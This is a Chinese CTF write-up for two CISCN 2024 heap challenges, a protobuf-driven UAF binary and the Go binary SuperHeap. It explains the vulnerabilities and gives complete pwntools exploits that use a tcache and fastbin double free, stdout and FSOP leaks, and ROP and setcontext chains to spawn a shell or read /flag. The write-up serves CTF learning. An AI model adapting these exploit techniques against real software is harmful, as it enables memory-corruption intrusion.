1 2 3 4 5 6 7 8 9 10 void *__fastcall add (unsigned int a1, __int64 a2, const void *a3) { unsigned int v5; v5 = a1; if ( a1 > 8 ) v5 = 8 ; *((_QWORD *)&ptr_qword_C0A0 + v5) = malloc (0x30 uLL); return memcpy (*((void **)&ptr_qword_C0A0 + v5), a3, 0x30 uLL); }
delete函数存在指针悬空
1 2 3 4 5 6 7 8 9 int __fastcall delete (unsigned int a1) { if ( (unsigned int )fnum_dword_C080 > 9 ) return puts ("No chance!" ); if ( a1 > 8 || !*((_QWORD *)&ptr_qword_C0A0 + a1) ) return puts ("OOPS!" ); free (*((void **)&ptr_qword_C0A0 + a1)); return ++fnum_dword_C080; }
注意到初始化函数中,有初始化一套沙盒规则,但是只有在show中的一个分支会加载
完全可以避免,并且在初始化沙盒的过程中,堆布局被打乱了,不过这有一个好处就是初始的时候unsorted中就已经是有chunk的
然后protobuf过程会申请chunk,特别是content的内容位于一个独立的chunk,控制其大小就可以控制申请任意大小chunk
这样在add的时候memcpy就会将chunk上的残留的libc一起复制过来,然后只要填充8个字节就能泄露libc,至于泄露heap就更简单了
接着我们考虑如何做到任意写,show函数在调用完两次之后就不建议使用了,因为第三次使用就会加载沙盒,而我们也没有必须再一次泄露的必要
delete允许我们最多使用10次,首先想到的就是构造doublefree
这里有两种思路
填满tcache,释放victim到fastbin,在取出一个.再释放victim进入tcache,不过这种方式在是行不通的,因为之后取出的时候必然会先取出tcache中的,那么之后取出fastbin中的时候除非找到刚好的fakechunk,否则就会触发错误
第二种方式,即完全利用fastbin进行double free,填满tcache后释放一次victim,释放一个正常chunk防止fast的doublefree检查,然后再释放victim
采用第二种方法后就成功在fastbin中构造doublefree了,现在又面临一个问题,劫持fastbin时依然会受到fastbin的size检查影响
但其实完全不用担心这个问题,因为再引入tcache之后,就增加了一个机制,即从fastbin或smallbin中取出chunk时,如果对应tcache中有空余就将链中的chunk移动到tcache中
所以在我们第一次取出victim的时候,剩下的fastbin中chunk就已经移动到tcache中了,那也就没有那些检查了
ok,接下来考虑如何利用,我们的劫持的tcache链大小只有0x40,能写的只有0x30,下一步应该如何走
如果只有一次劫持机会,想要在这一次就完成利用几乎是不可能的,所以我们希望能够多几次劫持
最直接的一个思路就是劫持tcache结构体,但因为0x30太小了,不能在覆盖count的同时覆盖entry
所以选择二次劫持tcache结构体
注意到此时tcache如下
1 2 3 4 5 pwndbg> bin tcachebins 0x40 [ 3]: 0x55f93cabb100 —▸ 0x55f93cabae40 —▸ 0x55f93cab60f0 ◂— 0x55f93cab6 0xd0 [ 7]: 0x55f93cab77d0 —▸ 0x55f93cab74a0 —▸ 0x55f93cab7170 —▸ 0x55f93cab6e40 —▸ 0x55f93cab6b10 —▸ 0x55f93cab67e0 —▸ 0x55f93cab6350 ◂— 0x0 0xf0 [ 1]: 0x55f93cab9260 ◂— 0x0
我们先劫持0xf0的chunk,使其指向tcache结构体的开头,再靠protobuf的任意chunk申请进行写操作
然后这时候就能够比较自由的任意写了,现在的话主要是两种主流的方法泄露stack劫持rop或者 fsop
如果选择fsop就不需要再进行泄露了,不过因为这题无法main函数返回或者exit退出,所以只能通过printf进行fsop,一些模板的偏移可能需要进行一些调整
rop的话则还需要一次泄露栈地址,但不能使用show函数,那还能怎样泄露?自然是_IO_2_1_stdout_
结构体
这一部分没啥好说的,注意调试就是了
采用rop 方法的exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 from pwn import *import c_pb2elf_path='./pwn' libc=ELF('./libc.so.6' ,checksec=False ) elf=ELF(elf_path,checksec=False ) context.binary=elf_path context.log_level='debug' r =lambda num=4096 :p.recv(num) ru =lambda content,drop=False :p.recvuntil(content,drop) rl =lambda :p.recvline() ra =lambda time=0.5 :p.recvall(timeout=time) u7f =lambda :u64(ru("\x7f" )[-6 :].ljust(0x8 ,b"\x00" )) sla =lambda flag,content :p.sendlineafter(flag,content) sa =lambda flag,content :p.sendafter(flag,content) sl =lambda content :p.sendline(content) s =lambda content :p.send(content) irt =lambda :p.interactive() tbs =lambda content :str (content).encode() leak=lambda name,addr :log.success('{} = {:#x}' .format (name, addr)) def dbg (script = 0 ): if (script): gdb.attach(p, script) else : gdb.attach(p) pause() local=1 def run (): if (local): return process(elf_path) return remote('127.0.0.1' ,1234 ) p=run() def add (idx,content=b'' ): msg = c_pb2.Devicemsg() msg.whatcon = content msg.whattodo = 1 msg.whatidx = idx msg.whatsize = 0 msg.whatthis = 0 sa(b'WHAT DO YOU WANT?\n' ,msg.SerializeToString()) def delete (idx ): msg = c_pb2.Devicemsg() msg.whatcon = b'' msg.whattodo = 2 msg.whatidx = idx msg.whatsize = 1 msg.whatthis = 2 sa(b'WHAT DO YOU WANT?\n' ,msg.SerializeToString()) def show (idx ): msg = c_pb2.Devicemsg() msg.whatcon = b'' msg.whattodo = 3 msg.whatidx = idx msg.whatsize = 0 msg.whatthis = 0 sa(b'WHAT DO YOU WANT?\n' ,msg.SerializeToString()) def fill (content ): msg = c_pb2.Devicemsg() msg.whatcon = content msg.whattodo = 0 msg.whatidx = 0 msg.whatsize = 0 msg.whatthis = 0 sa(b'WHAT DO YOU WANT?\n' ,msg.SerializeToString()) for i in range (9 ): add(i,b'aaaaaaaa' ) show(0 ) libc.address = u7f() - 0x219ce0 - 0x1000 leak('libc' ,libc.address) delete(0 ) show(0 ) p.recvuntil("Content:" ) heap = u64(p.recv(5 ).ljust(0x8 ,b"\x00" )) * 0x1000 - 0x2000 for i in range (6 ): delete(i+1 ) delete(7 ) delete(8 ) delete(7 ) print (hex (libc.address))print (hex (heap))for i in range (6 ): delete(i+1 ) delete(7 ) delete(8 ) delete(7 ) for i in range (7 ): add(i,b"A" *0x8 ) environ = libc.sym['environ' ] stdout = libc.sym['_IO_2_1_stdout_' ] print (hex (environ))stdout=libc.sym['_IO_2_1_stdout_' ] add(7 ,p64((heap+0xf0 ) ^((heap+0x4e40 )>>12 ))) add(8 ,b"AAAAAA" ) add(8 ,b"A" ) add(8 ,p64(0 )+p64(heap+0x10 )) fill((((p16(0 )*2 +p16(1 )+p16(1 )).ljust(0x10 ,b"\x00" )+p16(1 )+p16(1 )).ljust(0x90 ,b'\x00' )+p64(stdout)+p64(stdout)+p64(0 )*5 +p64(heap+0x10 )).ljust(0xe0 ,b"\x00" )) fill(p64(0xFBAD1800 )+p64(0 )*3 +p64(environ)+p64(environ+8 )) stack = u7f() - 0x1a8 + 0x40 print (hex (stack))fill((((p16(0 )*2 +p16(0 )+p16(0 )+p16(1 )).ljust(0x10 ,b"\x00" )+p16(1 )+p16(1 )).ljust(0x90 ,b'\x00' )+p64(0 )+p64(0 )+p64(stack)).ljust(0xa0 ,b"\x00" )) pop_rdi = 0x000000000002a3e5 + libc.address system = libc.sym['system' ] binsh = next (libc.search(b"/bin/sh" )) ret = 0x000000000002a3e6 + libc.address fill((p64(ret)*2 +p64(pop_rdi)+p64(binsh)+p64(system)).ljust(0x58 ,b"\x00" )) irt()
ciscn2024-SuperHeap 第二天的第一道题,是可恶的cgo,建议用ida8.3这样的话不需要人工恢复符号
有沙盒,seccomp-tools能够dump出来,看样子是要orw
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 seccomp-tools dump ./SuperHeap line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x0d 0xc000003e if (A != ARCH_X86_64) goto 0015 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x0a 0xffffffff if (A != 0xffffffff) goto 0015 0005: 0x15 0x08 0x00 0x00000029 if (A == socket) goto 0014 0006: 0x15 0x07 0x00 0x0000002a if (A == connect) goto 0014 0007: 0x15 0x06 0x00 0x00000031 if (A == bind ) goto 0014 0008: 0x15 0x05 0x00 0x00000032 if (A == listen) goto 0014 0009: 0x15 0x04 0x00 0x00000038 if (A == clone ) goto 0014 0010: 0x15 0x03 0x00 0x0000003b if (A == execve) goto 0014 0011: 0x15 0x02 0x00 0x00000065 if (A == ptrace) goto 0014 0012: 0x15 0x01 0x00 0x000000a5 if (A == mount) goto 0014 0013: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0014: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0015: 0x06 0x00 0x00 0x00000000 return KILL
然后这题因为是golang的题目,可以直接用之前提到过的pbtk工具提取出proto文件
add以及edit需要使用protobuf交互,并且还进行性了base64/32编码,先对message每一个字段进行b64编码,再protobuf序列化,最后b32编码
漏洞是出现在edit中,memmove没有检查大小
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 if ( len < 0x40000000 ) v49 = len; if ( v62 != *(uint8 **)v48 ){ runtime_memmove(*(_QWORD *)v48, v62, v49); v83.0 .ptr = v63; v48 = v67; } v50 = 0x40000000 LL; if ( v60 < 0x40000000 ) v50 = v60; if ( v65 != *(uint8 **)(v48 + 8 ) ){ runtime_memmove(*(_QWORD *)(v48 + 8 ), v65, v50); v83.0 .ptr = v63; v48 = v67; } v51 = 0x40000000 LL; if ( v59 < 0x40000000 ) v51 = v59; v52 = (int )v64; if ( v64 != *(uint8 **)(v48 + 16 ) ){ runtime_memmove(*(_QWORD *)(v48 + 16 ), v64, v51); v83.0 .ptr = v63; v48 = v67; } v53 = 0x40000000 LL; if ( (__int64)v83.0 .len < 0x40000000 ) v53 = v83.0 .len; if ( v83.0 .ptr != *(uint8 **)(v48 + 24 ) ){ runtime_memmove(*(_QWORD *)(v48 + 24 ), v83.0 .ptr, v53); v48 = v67; }
这个库函数的声明如下
1 func MemMove (to, from unsafe.Pointer, n uintptr )
那么就存在堆溢出,之后的就是常规套路了
一份参考exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 from pwn import *import base64import bookProto_pb2context(arch='i386' , os='linux' ,log_level="debug" ) context.terminal=["wt.exe" ,"wsl.exe" ] libc = ELF("./libc.so.6" ) """"" def xxx(): p.sendlineafter("") p.sendlineafter("") p.sendlineafter("") """ cont = bookProto_pb2.CTFBook() def get_p (name ): global p,elf p = remote("8.147.133.230" ,40626 ) elf = ELF(name) def add (idx,date,title=b"AA" ,author=b"AAAA" ,isbn=b"AAA" ): p.sendlineafter("Enter your choice >" ,"1" ) p.sendlineafter("Index:" ,str (idx)) cont.title = base64.b64encode(title) cont.author = base64.b64encode(author) cont.isbn = base64.b64encode(isbn) cont.publish_date = base64.b64encode(date) cont.price = 41 cont.stock = 1 payload = base64.b32encode(cont.SerializeToString()) p.sendlineafter("Special Data:" ,payload) def edit (idx,date,title=b"AA" ,author=b"AAAA" ,isbn=b"AAA" ): p.sendlineafter("Enter your choice >" ,"4" ) p.sendlineafter("Index:" ,str (idx)) cont.title = base64.b64encode(title) cont.author = base64.b64encode(author) cont.isbn = base64.b64encode(isbn) cont.publish_date = base64.b64encode(date) cont.price = 41 cont.stock = 1 payload = base64.b32encode(cont.SerializeToString()) p.sendlineafter("Special Data:" ,payload) def show (idx ): p.sendlineafter("Enter your choice >" ,"2" ) p.sendlineafter("Index:" ,str (idx)) def dele (idx ): p.sendlineafter("Enter your choice >" ,"3" ) p.sendlineafter("Index:" ,str (idx)) get_p("./SuperHeap" ) add(0 ,b"A" *0x20 ) add(1 ,b"A" *0x430 ,title=b"BBBBB" ) add(2 ,b"A" *0x430 ) add(3 ,b"A" *0x430 ) dele(2 ) edit(0 ,b"A" *0x30 ) show(0 ) p.recvuntil("A" *0x30 ) heap_addr = u64(p.recv(6 ).ljust(0x8 ,b"\x00" )) - 0x2e90 edit(0 ,b"A" *(0x70 +0x440 )) show(0 ) libc.address = u64(p.recvuntil("\x7f" )[-6 :].ljust(0x8 ,b"\x00" )) - 0x219ce0 - 0x1000 print (hex (heap_addr))print (hex (libc.address))payload = b"A" *0x28 + p64(0x41 ) + p64(heap_addr + 0x2e90 ) + p64(0x2cf0 +heap_addr) + p64(0x2b50 +heap_addr) + p64(libc.sym['_IO_list_all' ]) + p64(0x4044800000000000 ) + p64(200 ) edit(0 ,payload) edit(1 ,p64(0x3730 +heap_addr)) print (hex (libc.sym['_IO_list_all' ]))payload = b"A" *0x28 + p64(0x41 ) + p64(heap_addr + 0x2e90 ) + p64(0x2cf0 +heap_addr) + p64(0x2b50 +heap_addr) + p64(heap_addr+0x3730 ) + p64(0x4044800000000000 ) + p64(200 ) edit(0 ,payload) fake_io_addr = heap_addr + 0x3730 _IO_wfile_jumps = libc.sym["_IO_wfile_jumps" ] ROP_addr = heap_addr + 0x4000 ret = 0x000000000002a3e6 + libc.address setcontext = libc.sym['setcontext' ] pop_rdi = 0x000000000002a3e5 + libc.address pop_rdx = 0x000000000011f2e7 + libc.address pop_rsi = 0x000000000002be51 + libc.address FP = fake_io_addr A = FP + 0x100 B = A + 0xe0 - 0x60 payload = (0xa0 -0x10 )*b"\x00" + p64(A) payload = payload.ljust(0xb0 ,b"\x00" ) + p64(1 ) payload = payload.ljust(0xc8 ,b"\x00" ) + p64(_IO_wfile_jumps-0x40 ) payload = payload.ljust(0x190 ,b"\x00" ) + p64(ROP_addr) + p64(ret) payload = payload.ljust(0xf0 +0xe0 ,b"\x00" ) + p64(B) + p64(setcontext + 61 ) edit(1 ,p64(0 )*2 +payload) payload = b"A" *0x28 + p64(0x41 ) + p64(heap_addr + 0x2e90 ) + p64(0x2cf0 +heap_addr) + p64(0x2b50 +heap_addr) + p64(heap_addr+0x4000 ) + p64(0x4044800000000000 ) + p64(200 ) edit(0 ,payload) payload = p64(pop_rdi) + p64(ROP_addr+0x100 ) + p64(pop_rdx) + p64(0 )*2 + p64(pop_rsi) + p64(0 ) + p64(libc.sym['open' ]) payload += p64(pop_rdi) + p64(3 ) + p64(pop_rdx) + p64(0x40 ) *2 + p64(pop_rsi) + p64(heap_addr+0x1000 ) + p64(libc.sym['read' ]) payload += p64(pop_rdi) + p64(1 ) + p64(libc.sym['write' ]) payload = payload.ljust(0x100 ,b"\x00" ) + b"/flag\x00" edit(1 ,payload) p.sendlineafter("Enter your choice >" ,"6" ) p.interactive()